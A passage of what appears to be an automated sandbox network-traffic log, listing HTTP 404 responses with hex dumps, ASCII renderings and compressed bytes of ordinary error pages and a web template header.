69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 26 66 61 6d 69 6c 79 3d 4a 6f 73 74 3a 77 67 68 74 40 35 30 30 3b 36 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 20 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65 73
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:42 GMTServer: ApacheContent-Length: 11834Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 47 69 74 61 6c 20 2d 20 44 69 67 69 74 61 6c 20 41 67 65 6e 63 79 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 26 66 61 6d 69 6c 79 3d 4a 6f 73 74 3a 77 67 68 74 40 35 30 30 3b 36 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 20 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:07:42 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:07:42 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:07:44 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:07:47 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:07:49 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Sat, 27 Jul 2024 06:07:56 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Sat, 27 Jul 2024 06:08:04 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Sat, 27 Jul 2024 06:08:37 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Sat, 27 Jul 2024 06:08:42 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:08:50 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-store, no-cache, must-revalidateUpgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gziphost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 1226Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 52 5d 6f db 36 14 7d ae 7f 05 ab 62 7d 18 46 cb 49 da 61 70 64 07 59 36 6c 03 f6 51 20 1b 8a 3d 05 14 79 6d b1 a1 78 39 92 8a ec 0e fd ef bb 94 28 c7 69 da 01 6d 05 03 96 ee e7 b9 e7 9c ea e9 0f 7f 5c fd f9 f7 ab 1f 59 13 5b b3 9e 55 e9 8f 19 61 b7 ab 02 2c ff eb ba 58 cf 9e 54 0d 08 45 ff 4f aa 16 a2 60 56 b4 b0 2a ee 34 f4 0e 7d 2c 98 44 1b c1 c6 55 d1 6b 15 9b 95 82 3b 2d 81 0f 1f c5 fb 5d 1e 6b 8c e1 a8 c7 a2 b6 0a 76 df 30 8b 1b 34 06 fb 82 95 43 53 d4 d1 c0 fa d2 47 1d 22 bb 12 46 76 46 44 f4 ec 79 ab 44 68 ce d9 15 b6 da 6e d9 35 a2 ad ca b1 38 b5 05 e9 b5 8b 2c 78 b9 2a 9a 18 dd b2 2c c5 30 43 1e 46 cc 25 b6 65 ef b8 b6 d2 74 0a 42 f9 86 7e ff 74 e0 f7 f9 6f fe 26 14 eb aa 1c 47 8d 53 e3 de 00 8b 7b 47 27 44 d8 c5 52 06 2a f9 9a fd 3b 63 f4 d4 b8 e3 41 bf 25 38 4b 7a f7 0a 3c a7 d0 f9 90 e3 2d be e5 ff 5b d0 43 7d ab e3 47 6b de cd 66 35 aa fd b4 4a c8 db ad c7 ce 2a 2e d1 a0 5f b2 be d1 11 c6 51 39 52 1b 2a 1a 23 78 07 7e 43 a4 f2 dd 92 35 5a 29 b0 63 bc 15 7e ab ed 92 2d 86 f9 cf 7a 2f 5c 5e 20 8c de 5a 4e 23 db b0 64 92 24 02 3f b6 28 1d 9c 11 fb 25 db 18 c8 d0 df 74 21 ea cd 9e 67 31 1f d6 93 3a bc 01 bd 6d 28 7e b2 58 dc 35 c3 aa 79 ae cd db d2 2c 4a 3f 04 25 ba 88 ec e5 57 63 d0 09 a5 06 4e 16 e3 77 62 9f 0f 20 df 5b 27 76 a3 e5 96 ec c5 e9 c2 8d c4 6d 10 a9 20 ef ca 59 c2 32 8d c6 a0 a3 46 1a b4 d1 